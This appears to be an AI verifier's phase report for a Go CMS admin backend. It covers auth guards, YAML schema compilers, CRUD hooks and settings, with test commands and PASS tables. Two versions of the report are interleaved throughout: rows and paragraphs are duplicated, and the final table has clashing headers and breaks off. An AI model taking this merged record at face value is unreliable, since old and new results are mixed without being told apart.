| 3 | `columns.yaml` parses into a JSON list schema with searchable/sortable/relation columns and datetime/switch renderers. | ✓ VERIFIED | `modules/cabana/list_schema.go` column types `text`, `datetime`, `switch`; `ListColumn` carries `searchable`, `sortable`, `relation`, `select` (`schema_types.go:20-24`). Search/sort/filter resolve only through compiled allowlists with a PK tie-break; non-text searchable columns are cast to text (`query.go:296`; `TestListSearchNonTextColumns` on PostgreSQL: PASS). Tests: `TestListSchemaCompile`, `TestAlbumsAdminList`, `TestArtistsAdminList`, `TestCollectionsAdminListCRUD`, `TestGenresAdminEdges`: PASS. WR-08 caveat closed. |
| 4 | The relation-manager schema supports search/link/unlink/manage-or-view lists for Collections' editors tab, replacing the `partial` field entirely. | ✓ VERIFIED | `fonoteka.go/.../models/collection/fields.yaml:19` `editors: type: relation-manager`; no `partial` in the Fonoteka model YAML. `config_relation.yaml` has view/manage list columns, `toolbarButtons: link\|unlink`, `showSearch`. `modules/cabana/relation.go` serves schema, linked, candidates (`RelationExtendManageQuery` at line 473), link and unlink (`RelationBeforeLink` at line 671); link/unlink now require the panel's `toolbarButtons` (`TestRelationMutationsFollowToolbarButtons`: PASS); column order is indentation-independent (`TestRelationColumnOrderIsIndependentOfIndentation`: PASS); default sort is the first sortable column (`TestRelationDefaultSort`: PASS). Fonoteka: `TestCollectionsAdminRelation*`, `TestCollectionsAdminRejectsPartial` (legacy path-less partial fails boot), `TestRelationCandidateExclusions`: PASS. **Note:** Phase 10.1 D-09 lifted Phase 9's blanket `type: partial` boot error for a bare-name sanitized html/template partial (`compilePartialPath`, `form_schema.go:508`); the Collections editors tab is still a relation manager. WR-05, WR-07, WR-15 caveats closed. |
| 5 | Admin CRUD endpoints expose listExtendQuery/formExtendQuery/formBeforeCreate/formBeforeUpdate/relationExtendManageQuery hooks, bulk delete runs each record's lifecycle hooks, and the Settings model binds to a settings screen through the same schema pipeline. | ✓ VERIFIED | Hook interfaces in `modules/pact/capabilities.go:331-394`, type-asserted in `modules/cabana/query.go:109`, `crud.go:445,534,581,597`, `relation.go:473`. Hooks receive the write transaction through `TxFromContext` (`TestHooksReceiveTheWriteTransaction`: PASS; Fonoteka `TestAlbumsAdminHooksUseTheWriteTransaction` with a one-connection pool: PASS). `CRUDService.BulkDelete` (`crud.go:187`) locks scoped rows in one transaction and deletes per row via `deleteRecord`, so hooks fire per record; it now requires `delete` in `toolbar.buttons`. `TestBulkDeleteDuplicates`, `Idempotent`, `Rollback`, `TestCRUDHooks`: PASS. Settings use the same `Localize`, writable projection, `lagoon.Fill` (`settings.go:149`) and `lagoon.Validate`; `TestAdminSettings*` on PostgreSQL: PASS. CR-01 stays fixed (`TestCRUDFillTypeIsValidation`: PASS). |
| 1 | A backend admin user with a role logs in separately from frontend users, and navigation/controller access is gated by the permissions registry. | ✓ VERIFIED | Separate `backend_users`/`backend_user_roles` (`modules/lagoon/backend_admin_migrations.go`; `TestBackendAdmin*` PASS on PostgreSQL today). Separate `backend` guard with its own secret and required audience, wrapped by the composite guard, which still hands every non-`g15_` request to `bouncer.NewBackendJWTGuard` (re-read after b45af8e). A frontend-audience token and a wrong-secret token get 401 on every Fonoteka admin path (`TestPhase09SecurityMatrix` PASS), and cross-audience fails both ways (`TestPhase09GuardIsolation` PASS in `--security`). A foreign `backend` guard still fails boot (ownership check unchanged). Grants = role + user overlay (`TestBackendUserPermissionsOverrideRole` PASS). Every controller route, including field upload, goes through `protect`. Personal API tokens narrow and never widen (`TestAllowsScope`, `TestBackendTokenGuard`, `TestTokenRouteGates`, `TestInteractiveOnly`, `TestResolveBackend`, `TestTokenTracerPostgres`, `TestBackendTokenPostgres`: PASS). |
| 2 | `fields.yaml` for a real controller parses (goccy/go-yaml) into a JSON form schema covering text, textarea, checkbox, switch, dropdown (model-method options) and relation (nameFrom, emptyOption), with span/tabs/context/attributes layout hints. | ✓ VERIFIED | No change since the 13:00Z run (`form_schema.go` not in the a3b502b..HEAD diff). `TestCRUDRequiredFollowsContext` PASS today; full `./modules/cabana` package ok; Fonoteka `TestAlbumsAdmin*`, `TestStylesAdmin*`, `TestCollectionsAdmin*`: PASS. |
| 3 | `columns.yaml` parses into a JSON list schema with searchable/sortable/relation columns and datetime/switch renderers. | ✓ VERIFIED | No change since the 13:00Z run. `TestListSearchNonTextColumns` (PostgreSQL) PASS today; Fonoteka `TestAlbumsAdminList`, `TestArtistsAdminList`, `TestGenresAdmin*`: PASS. |
| 4 | The relation-manager schema supports search/link/unlink/manage-or-view lists for Collections' editors tab, replacing the `partial` field entirely. | ✓ VERIFIED | No change since the 13:00Z run. Fonoteka `TestCollectionsAdminRelation*`, `TestCollectionsAdminRejectsPartial`, `TestRelationCandidateExclusions`: PASS; full `./modules/cabana` package ok. |
| 5 | Admin CRUD endpoints expose `listExtendQuery`/`formExtendQuery`/`formBeforeCreate`/`formBeforeUpdate`/`relationExtendManageQuery` hooks, bulk delete runs each record's lifecycle hooks, and the Settings model binds to a settings screen through the same schema pipeline. | ✓ VERIFIED | No change since the 13:00Z run. `TestBulkDelete*`, `TestCRUDHooks`, `TestHooksReceiveTheWriteTransaction`, `TestCRUDFillTypeIsValidation`: PASS on PostgreSQL today (27-test set). Fonoteka `TestAdminSettings*`, `TestAlbumsAdminHooksUseTheWriteTransaction`: PASS. |
**Score:** 5/5 ROADMAP truths verified (0 present-but-behavior-unverified).
### Plan must-have truths (supporting evidence)
There are 54 plan truths across 09-01 to 09-12, and each maps to a named test in its plan's `<verify>` block. I re-ran every named Fonoteka suite with `-v`: 79 top-level PASS, 0 SKIP, 0 FAIL. That equals the number of test functions with those prefixes in the package (79, now including `TestAlbumsAdminHooksUseTheWriteTransaction` from the WR-19 fix). The 20 tests added by the summercms.go fix commits were run by name and all pass.
There are 54 plan truths across 09-01 to 09-12. Fonoteka's named Phase 9 suites at e074028 (`-run '^(TestPhase09.*|TestAdminSettings.*|TestAdminMetadata.*|TestCollectionsAdmin.*|TestAlbumsAdmin.*|TestGenresAdmin.*|TestArtistsAdmin.*|TestStylesAdmin.*|TestAdminTracer.*|TestAdminAuthLifecycleAssembled|TestRelationCandidateExclusions)$'`) gave 79 PASS, 0 FAIL, 0 SKIP.
Truth 09-12 #4 names `../fonoteka.go/docs/openapi.json` as the admin OpenAPI home. Phase 10 D-15 moved the admin paths to the framework-owned `summercms.go/admin/openapi/admin.json`. The intent still holds: `scripts/check-admin-openapi.sh --check` and `scripts/check-phase9.sh --openapi` exit 0.
| Truth | Status | Evidence |
|---|---|---|
| 09-12 #2: complete threat matrix executable, enforced by the fail-closed Phase 9 gate | ✓ VERIFIED (gap closed) | `check-phase9.sh --security` exit 0, `--all` exit 0. `TestPhase09SecurityRoutes` PASS with assertions unchanged; all 10 added routes carry `backend` middleware (checked in http.go, table above). |
| All other 53 plan truths | ✓ VERIFIED | Named tests above and in the Spot-Checks table pass; `check-phase9.sh --all` (self-test, security, postgres, openapi, evidence) exit 0. |
Truth 09-12 #4 names `../fonoteka.go/docs/openapi.json` as the admin OpenAPI home. Phase 10 D-15 moved the admin paths to `summercms.go/admin/openapi/admin.json`. `check-phase9.sh --openapi` passes inside `--all`.
Backstop (non-inferable) truths:
| Truth | Evidence | Status |
|---|---|---|
| 09-01: login accepts login or normalized email, one opaque failure, never falls back to a frontend user | `TestAdminAuthLifecycle`, `TestAdminTracerGenreList` (frontend user with the admin's email; frontend password rejected), `TestLoginAmbiguousIdentifier` (a cross-field collision now fails opaquely instead of taking the first match), `TestMissingUserHashUsesConfiguredCost`: PASS | VERIFIED (WR-11 closed; `lower(email)` unique index added, `TestBackendAdminEmailCaseInsensitiveUnique` PASS) |
| 09-11: missing settings GET is side-effect-free with `exists: false`; first PUT creates; identical PUT is idempotent | `TestAdminSettingsMissingRead`, `TestAdminSettingsCreate`, `TestAdminSettingsIdempotentUpdate`: PASS | VERIFIED |
| 09-12: AUTH-08 is the separate D-01/D-02 principal only; no shared role table or dual-purpose token | Separate tables, `Principal.Backend` flag, audience checks; `TestPhase09GuardIsolation`, `TestAdminMetadataRejectsFrontendPrincipal`, `TestVerifyRefreshableClaimsAudience` (refresh-window verification keeps the audience check): PASS | VERIFIED |
| 09-01: login accepts login or normalized email, one opaque failure, never falls back to a frontend user | `TestAdminAuthLifecycle`, `TestLoginAmbiguousIdentifier` PASS today; Fonoteka `TestAdminTracerGenreList` (frontend user with the admin's email rejected) PASS | VERIFIED |
| 09-11: missing settings GET is side-effect-free with `exists: false`; first PUT creates; identical PUT is idempotent | Fonoteka `TestAdminSettingsMissingRead`, `TestAdminSettingsCreate`, `TestAdminSettingsIdempotentUpdate` PASS | VERIFIED |
| 09-12: AUTH-08 is the separate D-01/D-02 principal only; no shared role table or dual-purpose token | Separate tables. Personal API tokens live in `backend_api_tokens`, resolve only through `BackendUsers.FindByID`, and the non-`g15_` path is the backend JWT guard. `TestPhase09GuardIsolation`, `TestBackendTokenGuard`, `TestBackendTokenPostgres` PASS | VERIFIED |
### Prohibitions (judgment tier, non-authoritative verdicts)
| Plan | Prohibition | Verdict |
The 24 verdicts accepted in UAT row 3 still stand. b45af8e changes only when `last_used_at` is written, and e074028 is test-only, so neither touches a prohibition:
| Plan | Prohibition | Verdict at HEAD |
|---|---|---|
| 01 | Backend identities must not share frontend user rows, the jwt guard, or a signing secret | not violated (foreign `backend` guard now fails boot) |
| 01 | Hidden navigation must not replace server-side authorization | not violated (`protect`/`protectSetting`/`operationDeclared` on every route; logout is public by design, CSRF-checked, and only revokes the presented token) |
| 01 | Tracer must not be mock-only | not violated (testcontainers PostgreSQL, assembled router) |
| 02 | No boot, web-wizard or env-seeded first admin | not violated (migration seeds roles only; `admin:create` only) |
| 02 | No cookie session store and no merge with the frontend user model | not violated |
| 02 | Auth logs carry no password, JWT, secret or hash | not violated (`TestAdminAuthLogging`, `TestPhase09SecurityCoverage`; the `--password` deprecation warning never echoes the value) |
| 03 | Form compiler must not accept `type: partial` | **superseded (accepted by the user 2026-10-01)**: Phase 10.1 D-09 lifted this for a supported partial contract (bare-name `path`, html/template, allowlisted node renderer, D-18 sanitizer). The legacy Winter path-less partial is still refused (`TestCollectionsAdminRejectsPartial`). |
| 03 | Labels not deferred to the client or cached in the first request's locale | not violated (per-request `Localize`) |
| 03 | Unknown keys, types or providers not silently ignored | not violated (`DisallowUnknownField`, `formFieldKeys`) |
| 04 | YAML must not inject SQL or name an arbitrary method | not violated (`conditions:` rejected, finite `FilterScopes`; search cast is on an allowlisted, quoted column) |
| 04 | Equal sort values must not make rows jump across pages | not violated (PK tie-break) |
| 05 | No partially committed bulk operation | not violated (`TestBulkDeleteRollback`) |
| 05 | Replay must not rerun destructive hooks | not violated (`TestBulkDeleteIdempotent`) |
| 06 | No cross-collection or silently chosen duplicate user on albums | not violated (`TestAlbumsAdminAmbiguousEmail`, `CrossCollection`) |
| 06 | Album form choices must not expose inactive or cross-collection users | not violated |
| 07 | Artist parity not reached by silently omitting Winter keys | not violated |
| 08 | No second Genre identity and no weakened permission | not violated (`TestGenresAdminTracerIdentity`, `DuplicateRegistration`) |
| 09 | Style values not coerced between scalar types | not violated (`TestStylesAdminTypedOptions`) |
| 10 | No PHP partial and no hardcoded Fonoteka pivot names in the framework | not violated (non-test `modules/cabana/*.go` grep: no hits) |
| 10 | Owner, cross-collection or already-linked candidates not linkable by forgery | not violated (`ForgedPivot`, `CrossScope`, `Idempotent`; link now also requires the declared toolbar button) |
| 11 | Navigation/settings metadata must not reveal existence, label or target of inaccessible entries | **not violated** (was qualified): a denied main item is dropped; an allowed parent never links to a controller the admin cannot open (`TestNavigationDropsDeniedParentAndRepointsTarget` pins the same parent `x.*` + genres-only shape; for Fonoteka this follows from code reading, since no Fonoteka test asserts a genres-only menu) |
| 11 | Reading a missing singleton must not create a row | not violated (`TestAdminSettingsMissingRead`) |
| 12 | Acceptance must not depend on skipped PostgreSQL tests or zero-test matches | **not violated** (was qualified): `phase9_detect` refuses any package without a passing test; `--self-test` re-run prints "refuse: zero tests in a/cabana" for the planted case and passes |
| 12 | High threats marked mitigated only with a named failing-when-broken test | not violated (`09-SECURITY-REVIEW.md`; `check-phase9.sh --security` re-run: "phase9 security passed") |
| 01 | Backend identities must not share frontend user rows, the jwt guard, or a signing secret | not violated (composite guard wraps the backend JWT guard with the backend secret; tokens resolve to `backend_users` only) |
| 01 | Hidden navigation must not replace server-side authorization | not violated (`protect`/`protectSetting`/`operationDeclared` on every controller and settings route, including field upload) |
| 02 | Auth logs carry no password, JWT, secret or hash | not violated (the throttle's failure log carries only `token_id` and the error; `logTokenAuth` unchanged) |
| 03 | Form compiler must not accept `type: partial` | superseded (accepted 2026-10-01) by Phase 10.1 D-09; legacy path-less partial still refused |
| 03 | Unknown keys, types or providers not silently ignored | not violated |
| 11 | Navigation/settings metadata must not reveal inaccessible entries | not violated |
| 12 | Acceptance must not depend on skipped PostgreSQL tests or zero-test matches | not violated (`--all` self-test refuses planted skip/zero-test cases; real stages green) |
| others | (see 2026-10-05 report) | unchanged |
### Required Artifacts
| Artifact | Expected | Status | Details |
|---|---|---|---|
| `modules/lagoon/backend_admin_migrations.go` | backend_users/roles, system-role seed, case-insensitive unique email | ✓ VERIFIED | Explicit SQL up/down; `TestBackendAdmin*` (6 incl. `EmailCaseInsensitiveUnique`, `EmailIndexRefusesCaseDuplicates`) PASS |
| `modules/cabana/auth.go` | backend provider, login/refresh/logout/me, user-level permission overlay | ✓ VERIFIED | `BackendUsers` reads only `backend_users` |
| `modules/cabana/commands.go` | admin:create, admin:reset-password | ✓ VERIFIED | prompt/stdin password, collision checks |
| `modules/cabana/http.go` | route mounting, `protect`, `operationDeclared`, `relationMutation` | ✓ VERIFIED | Mounted from `modules/surf/router.go:522` via `cabana.Activate` |
| `modules/cabana/form_schema.go`, `schema_types.go` | strict typed form compiler | ✓ VERIFIED | |
| `modules/cabana/list_schema.go`, `filter_schema.go`, `query.go`, `model_fields.go` | list compiler, allowlisted query, column resolution | ✓ VERIFIED | |
| `modules/cabana/crud.go`, `tx_context.go` | CRUD, projection, hooks, bulk delete, tx on context | ✓ VERIFIED | |
| `modules/lagoon/fill.go` | allowlisted fill used by CRUD and settings | ✓ VERIFIED | |
| `modules/cabana/relation.go`, `relation_field.go` | relation schema and link/unlink | ✓ VERIFIED | |
| `modules/cabana/navigation.go`, `settings.go` | filtered metadata, singleton settings | ✓ VERIFIED | |
| `modules/bouncer/refresh.go`, `registry.go` | refresh-window verification for logout; guard ownership | ✓ VERIFIED | |
| `scripts/check-phase9.sh` | fail-closed gate, per-package zero-test check | ✓ VERIFIED | `--self-test`, `--openapi`, `--security`: exit 0 |
| `fonoteka.go/.../controllers/{albums,artists,collections,genres,styles}_admin_controller.go`, `controllers/request_db.go` | five controllers with permissions; hooks read the write tx | ✓ VERIFIED | |
| `fonoteka.go/.../models/*/fields.yaml`, `columns.yaml`, `controllers/*/config_*.yaml` | Winter-shaped YAML | ✓ VERIFIED | `partial` replaced by `relation-manager` |
| `fonoteka.go/.../admin_permissions.go`, `admin_navigation.go`, `admin_settings.go` | registerPermissions/Navigation/Settings ports | ✓ VERIFIED | Parent requires `golem15.fonoteka.*` |
| `fonoteka.go/.../admin_phase09_e2e_test.go`, `admin_phase09_security_test.go` | assembled acceptance and route inventory | ✓ VERIFIED | Logout listed as public with reason |
| `modules/lagoon/backend_admin_migrations.go` | backend users/roles, seed, case-insensitive email, metadata + api tokens | ✓ VERIFIED | `TestBackendAdmin*` PASS |
| `modules/cabana/auth.go` | backend provider, login/refresh/logout/me, user overlay | ✓ VERIFIED | unchanged since the 13:00Z run |
| `modules/cabana/token_guard.go`, `token_scopes.go`, `api_tokens.go` | composite guard (16.3) on the Phase 9 gate path | ✓ VERIFIED | Routing and narrow-only scope unchanged; throttle now per guard (b45af8e); 13 token tests PASS together |
| `modules/cabana/commands.go` | admin:create, admin:reset-password | ✓ VERIFIED | |
| `modules/cabana/http.go` | route mounting, `protect`, `operationDeclared`, `relationMutation` | ✓ VERIFIED | b45af8e adds one line (`resolverGuard.stamps = guard.stamps`) |
| `modules/cabana/form_schema.go`, `schema_types.go`, `list_schema.go`, `filter_schema.go`, `query.go`, `model_fields.go` | strict compilers, allowlisted query | ✓ VERIFIED | unchanged |
| `modules/cabana/crud.go`, `tx_context.go`, `modules/lagoon/fill.go` | CRUD, hooks, bulk delete, tx on context | ✓ VERIFIED | unchanged |
| `modules/cabana/relation.go`, `relation_field.go` | relation schema and link/unlink | ✓ VERIFIED | unchanged |
| `modules/cabana/navigation.go`, `settings.go` | filtered metadata, singleton settings | ✓ VERIFIED | unchanged |
| `modules/bouncer/jwt.go`, `refresh.go`, `registry.go` | audience guard, refresh-window verification, ownership | ✓ VERIFIED | unchanged since 104a1c9 |
| `modules/cabana/security_coverage_test.go` | framework route inventory | ✓ VERIFIED | `TestPhase09SecurityCoverage` PASS |
| `scripts/check-phase9.sh` | fail-closed gate | ✓ VERIFIED | `--security` exit 0; `--all` exit 0 |
| `fonoteka.go/.../admin_phase09_security_test.go` | assembled route inventory | ✓ VERIFIED | e074028 lists the 10 routes; `TestPhase09SecurityRoutes` PASS |
| `fonoteka.go/.../admin_phase09_e2e_test.go` | assembled acceptance | ✓ VERIFIED | `TestPhase09AssembledAcceptance` PASS (twice, inside `--all`) |
| `fonoteka.go/.../controllers/*_admin_controller.go`, model YAML, `admin_permissions.go`, `admin_navigation.go`, `admin_settings.go` | five controllers and registries | ✓ VERIFIED | fonoteka diff 7fc790d..e074028 touches only the inventory test |
### Key Link Verification
| From | To | Via | Status |
|---|---|---|---|
| `modules/surf/router.go` | `modules/cabana/http.go` | `cabana.Activate(app, plugins)` at line 522 | WIRED |
| `modules/cabana/http.go` guard | `modules/bouncer/jwt.go` | `NewBackendJWTGuard` with backend audience; ownership via `Registry.Owner` | WIRED |
| `modules/cabana/http.go` logout | `modules/bouncer/refresh.go` | `VerifyRefreshableClaimsAudience` then blacklist jti | WIRED |
| `modules/cabana/http.go` handlers | compiled schemas | `s.reg.Get(id)`, `operationDeclared`, then list/form/relation | WIRED |
| `modules/cabana/crud.go` | `lagoon.Fill`/`lagoon.Validate` | `save` transaction (line 290; Fill at 327, `FillTypeError` to 422) | WIRED |
| `modules/cabana/crud.go` | plugin hooks | `TxFromContext` inside `lagoon.Transaction` | WIRED |
| `modules/cabana/crud.go` bulk | model lifecycle hooks | per-row `deleteRecord` inside one transaction | WIRED |
| `modules/cabana/settings.go` | form pipeline | `Localize`, `Fill` (line 149), `Validate` | WIRED |
| `modules/surf/router.go` | `modules/cabana/http.go` | `cabana.Activate(app, plugins)` | WIRED |
| `cabana` `backend` guard | `modules/bouncer/jwt.go` | `newCompositeGuard(NewBackendJWTGuard(secret, …))` (`http.go:151,156`); ownership via `Registry.Owner` | WIRED |
| composite guard token path | `backend_users` | `users.FindByID(row.BackendUserID)` (`token_guard.go:101`) | WIRED |
| composite guard token path | `backend_api_tokens.last_used_at` | `stampLastUsed(ctx, g.stamps, …)`; backend and resolver guards share one `stampThrottle` (`http.go:175`) | WIRED |
| `modules/cabana/http.go` logout | `modules/bouncer/refresh.go` | `VerifyRefreshableClaimsAudience` | WIRED |
| handlers | compiled schemas | `protect` then `s.reg.Get(id)`, `operationDeclared` | WIRED |
| `crud.go` | `lagoon.Fill`/`Validate`, plugin hooks | `save` transaction, `TxFromContext` | WIRED |
| `crud.go` bulk | lifecycle hooks | per-row `deleteRecord` | WIRED |
| `settings.go` | form pipeline | `Localize`, `Fill`, `Validate` | WIRED |
| `models/collection/fields.yaml` | `config_relation.yaml` | `relation: editors` compiled at activation | WIRED |
| `internal/build/build.go` | `cabana.RuntimeCommands` | generated main | WIRED |
| `scripts/check-phase9.sh` | framework + assembled security tests | named stages, zero-test detection | WIRED (all stages green) |
### Data-Flow Trace (Level 4)
| Artifact | Data | Source | Real data | Status |
|---|---|---|---|---|
| List endpoint | `data` rows | GORM query on the registered model, scoped by `ListExtendQuery` | Yes (PostgreSQL rows in assembled tests) | ✓ FLOWING |
| Navigation | entries | plugin `Navigation()` filtered by role + user-level grants from `backend_user_roles`/`backend_users` | Yes | ✓ FLOWING |
| Settings GET | `data` | `golem15_fonoteka_settings` row or compiled defaults | Yes | ✓ FLOWING |
| Relation linked/candidates | rows | pivot-joined user query with owner and linked users excluded | Yes | ✓ FLOWING |
| List endpoint | `data` rows | GORM query scoped by `ListExtendQuery` | Yes (PostgreSQL rows in assembled tests) | ✓ FLOWING |
| Navigation | entries | plugin `Navigation()` filtered by role + user grants (+ token scope) | Yes | ✓ FLOWING |
| Settings GET | `data` | singleton row or compiled defaults | Yes | ✓ FLOWING |
| Relation linked/candidates | rows | pivot-joined user query | Yes | ✓ FLOWING |
### Behavioral Spot-Checks
All run by the verifier on 2026-10-11 at summercms.go b45af8e / fonoteka.go e074028.
| Behavior | Command | Result | Status |
|---|---|---|---|
| Framework vet | `go vet ./...` (summercms.go) | exit 0, no output | ✓ PASS |
| Framework regression (single full run) | `go test ./... -count=1` (summercms.go) | exit 0; 35 packages ok (plus packages with no test files), 0 FAIL | ✓ PASS |
| App vet | `go vet $(go list -f '{{.Dir}}/...' -m)` (fonoteka.go, all workspace modules) | exit 0 | ✓ PASS |
| App regression | `go test $(go list -f '{{.Dir}}/...' -m) -count=1` (fonoteka.go, root + user + fonoteka plugin modules) | exit 0; 13 packages ok, 0 FAIL | ✓ PASS |
| Phase 9 framework tests, named | `go test ./modules/cabana -v -run '^(TestAllowsFollowsWinterHasAnyAccess\|TestNavigationDropsDeniedParentAndRepointsTarget\|TestRelationMutationsFollowToolbarButtons\|TestBulkDelete(Duplicates\|Idempotent\|Rollback)\|TestCRUDHooks\|TestCRUDFillTypeIsValidation\|TestFormSchema(Compile\|Rejects)\|TestListSchemaCompile\|TestRelationCandidateExclusions\|TestPhase09PermissionMatrix\|TestAdminAuthLifecycle\|TestAdminCreateCommand\|TestAdminResetPasswordCommand)$'` | 16 PASS | ✓ PASS |
| Review-fix tests, named | `go test ./modules/cabana ./modules/bouncer -v -run '^(TestActivateRefusesAForeignBackendGuard\|TestAdminCreateRejectsCrossFieldCollision\|TestAdminLogoutRevokesExpiredRefreshableToken\|TestAdminPasswordWithoutFlag\|TestBackendUserPermissionsOverrideRole\|TestCRUDOperationsFollowDeclarations\|TestCRUDRequiredFollowsContext\|TestFieldByColumnTagBeatsGoName\|TestHooksReceiveTheWriteTransaction\|TestListSearchNonTextColumns\|TestLoginAmbiguousIdentifier\|TestMissingUserHashUsesConfiguredCost\|TestModelHelpersLookThroughEmbeddedStructs\|TestRegistryOwner\|TestRelationColumnOrderIsIndependentOfIndentation\|TestRelationDefaultSort\|TestVerifyRefreshableClaimsAudience)$'` | 17 PASS (WR-09 scaffold assertions run inside `TestScaffoldAllArtifacts`, full run PASS) | ✓ PASS |
| Guard isolation | `go test ./modules/bouncer -run '^TestPhase09GuardIsolation$' -v` | PASS | ✓ PASS |
| Backend admin migrations incl. WR-11 index | `go test ./modules/lagoon -count=1 -v -run '^(TestBackendAdmin.*)$'` | 6 PASS (`Migration`, `Seed`, `Rollback`, `WinterRow`, `EmailCaseInsensitiveUnique`, `EmailIndexRefusesCaseDuplicates`) | ✓ PASS |
| Assembled Phase 9 acceptance and controllers | `go test ./plugins/golem15/fonoteka -count=1 -v -run '^(TestPhase09.*\|TestAdminSettings.*\|TestAdminMetadata.*\|TestCollectionsAdmin.*\|TestAlbumsAdmin.*\|TestGenresAdmin.*\|TestArtistsAdmin.*\|TestStylesAdmin.*\|TestAdminTracer.*\|TestAdminAuthLifecycleAssembled)$'` (fonoteka.go) | exit 0; 79 PASS, 0 SKIP, 0 FAIL | ✓ PASS |
| Framework vet + short suite | `go vet ./...`; `go test -short -count=1 ./...` | vet clean; 38 packages ok, none failing | ✓ PASS |
| Token guard under the race detector | `go test -short -count=1 -race ./modules/cabana -run 'Token\|ResolveBackend\|Phase09\|Allows'` | ok | ✓ PASS |
| 16.3 guard on the Phase 9 path (previously order-dependent) | `go test -count=1 ./modules/cabana -run '^(TestAllowsScope\|TestBackendTokenGuard\|TestBackendTokenPostgres\|TestInteractiveOnly\|TestResolveBackend\|TestScopeCoversAll\|TestScopeMatch\|TestTokenRouteGates\|TestTokenTracerPostgres\|TestTokenGatesSmoke\|TestAccountTokens\|TestTokenLastUsedThrottlePerGuard\|TestTokenLastUsedDebounce)$'` | 13 PASS; `TestBackendTokenPostgres` PASS after `TestAccountTokens` and `TestTokenTracerPostgres` | ✓ PASS |
| Full cabana package (Docker) | `go test -count=1 ./modules/cabana` | ok (84.8s) | ✓ PASS |
| Phase 9 framework tests (PostgreSQL) | `go test -count=1 ./modules/cabana ./modules/lagoon -run '^(TestLoginAmbiguousIdentifier\|TestHooksReceiveTheWriteTransaction\|TestCRUDRequiredFollowsContext\|TestCRUDOperationsFollowDeclarations\|TestCRUDHooks\|TestCRUDFillTypeIsValidation\|TestBulkDelete.*\|TestAdminPasswordWithoutFlag\|TestAdminCreateRejectsCrossFieldCollision\|TestAdminAuthLifecycle\|TestAdminLogoutRevokesExpiredRefreshableToken\|TestBackendUserPermissionsOverrideRole\|TestListSearchNonTextColumns\|TestBackendAdmin.*\|TestAdminCreateCommand\|TestAdminResetPasswordCommand)$'` | 27 PASS | ✓ PASS |
| Assembled route inventory + denial matrix | (fonoteka.go) `go test ./plugins/golem15/fonoteka -run '^TestPhase09Security' -count=1 -v` | `TestPhase09SecurityRoutes` PASS, `TestPhase09SecurityMatrix` PASS | ✓ PASS |
| Assembled Phase 9 suites | (fonoteka.go) named suites (above) | 79 PASS, 0 FAIL, 0 SKIP | ✓ PASS |
### Probe Execution
No `scripts/*/tests/probe-*.sh` exists and no plan declares a probe. The phase gate ran instead:
No `scripts/*/tests/probe-*.sh` exists and no plan declares one. The phase gate ran instead:
| Probe | Command | Result | Status |
|---|---|---|---|
| `scripts/check-phase9.sh` | `--self-test` | planted cases refused ("skipped TestPhase09MigrationsFreshRollback", "zero tests", "failed TestPhase09ContractInventory", "zero tests in a/cabana"), then "phase9 self-test passed", exit 0 | PASS |
| `scripts/check-phase9.sh` | `--openapi` | "phase9 openapi passed", exit 0 | PASS |
| `scripts/check-phase9.sh` | `--security` | "phase9 security passed", exit 0 | PASS |
| `scripts/check-admin-openapi.sh` | `--check` | exit 0 | PASS |
| `scripts/check-phase9.sh` | `--all` | self-test refuses its 4 planted cases then "phase9 self-test passed"; "phase9 security passed"; "phase9 postgres passed"; "phase9 openapi passed"; "phase9 evidence files passed"; security/postgres/openapi again; "phase9 evidence passed"; exit 0 | PASS |
After `--all`, fonoteka.go's working tree showed only its three pre-existing submodule pointer changes. The openapi stage left no diff.
### Requirements Coverage
| Requirement | Source Plans | Description | Status | Evidence |
|---|---|---|---|---|
| AUTH-08 | 09-01, 09-02, 09-11, 09-12 | Backend admins with roles and a permission registry, separate from frontend users, gating navigation and controllers | ✓ SATISFIED | Truth 1 |
| AUTH-08 | 09-01, 09-02, 09-11, 09-12 | Backend admins with roles and a permission registry, separate from frontend users, gating navigation and controllers | ✓ SATISFIED | Truth 1; acceptance gate green |
| ADMIN-01 | 09-03, 09-06..09-10, 09-12 | fields.yaml to JSON form schema | ✓ SATISFIED | Truth 2 |
| ADMIN-02 | 09-01, 09-04, 09-06..09-10, 09-12 | columns.yaml to JSON list schema | ✓ SATISFIED | Truth 3 |
| ADMIN-03 | 09-10, 09-12 | relation-manager replaces `partial` | ✓ SATISFIED | Truth 4 |
| ADMIN-04 | 09-05..09-10, 09-12 | CRUD hooks and per-record bulk delete | ✓ SATISFIED | Truth 5 |
| ADMIN-05 | 09-11, 09-12 | settings model bound through the same pipeline | ✓ SATISFIED | Truth 5 |
REQUIREMENTS.md maps exactly these six IDs to Phase 9, so there are no orphaned requirements.
REQUIREMENTS.md maps exactly these six IDs to Phase 9; no orphaned requirements.
### Anti-Patterns Found
| File | Line | Pattern | Severity | Impact |
|---|---|---|---|---|
| `internal/build/stubs/artifacts.tmpl` | 106 | `// TODO: return a pointer to the plugin's model` in the generated controller | ℹ️ Info | Deliberate scaffold placeholder (WR-09); generated text, not a debt marker in phase code. Until filled in, the scaffold answers 500 and boot refuses the undeclared permission |
| `modules/cabana/settings.go` | 149 | no test writes a numeric settings field | ℹ️ Info | The `json.Number` conversion lives in the shared `lagoon.Fill`; settings Fill failures already answer 422 |
| `internal/build/stubs/artifacts.tmpl` | — | `// TODO: return a pointer to the plugin's model` in generated scaffold | ℹ️ Info | Deliberate scaffold placeholder (WR-09) |
| `modules/cabana/{account_tokens,account_tokens_test,token_postgres_smoke_test,token_routes_test,token_scopes_test}.go` | — | not gofmt-formatted (predates b45af8e, per the quick SUMMARY) | ℹ️ Info (16.3 scope) | Cosmetic. Not in the Phase 9 covered set; I did not re-check it |
No `TBD`/`FIXME`/`XXX` in any covered implementation file (grep: no hits). The 12 Info review findings (IN-01..IN-12) remain `open` in the ledger and are out of the fix run's scope; none defeats a success criterion.
The previous blocker (stale `admin_phase09_security_test.go` inventory) and the info item (`lastStamp` process-global map) are resolved. The five files touched by b45af8e are gofmt-clean, and they and the fonoteka inventory test have no `TBD`/`FIXME`/`XXX`.
### Advisory (New Scope, Unevidenced)
None. The previous advisory (`TestBackendTokenPostgres` order dependence) is closed, see `re_verification.advisory_closed`.
### Human Verification Required
None open. The previous items are resolved by the user's recorded decisions on 2026-10-01 (09-REVIEW-FIX.md "Decisions", 09-UAT.md status complete, 3/3 pass, commit ba1aaef), and the code at HEAD matches each decision:
None. All three 09-UAT.md rows (recorded 2026-10-01T21:13:02Z) were decisions and triage, not runtime observations. The code changed since this morning's report is the token `last_used_at` debounce and one fonoteka test inventory, and neither touches what those decisions rest on:
| Item | Decision | Code evidence |
| UAT row | Rests on | Still holds at HEAD |
|---|---|---|
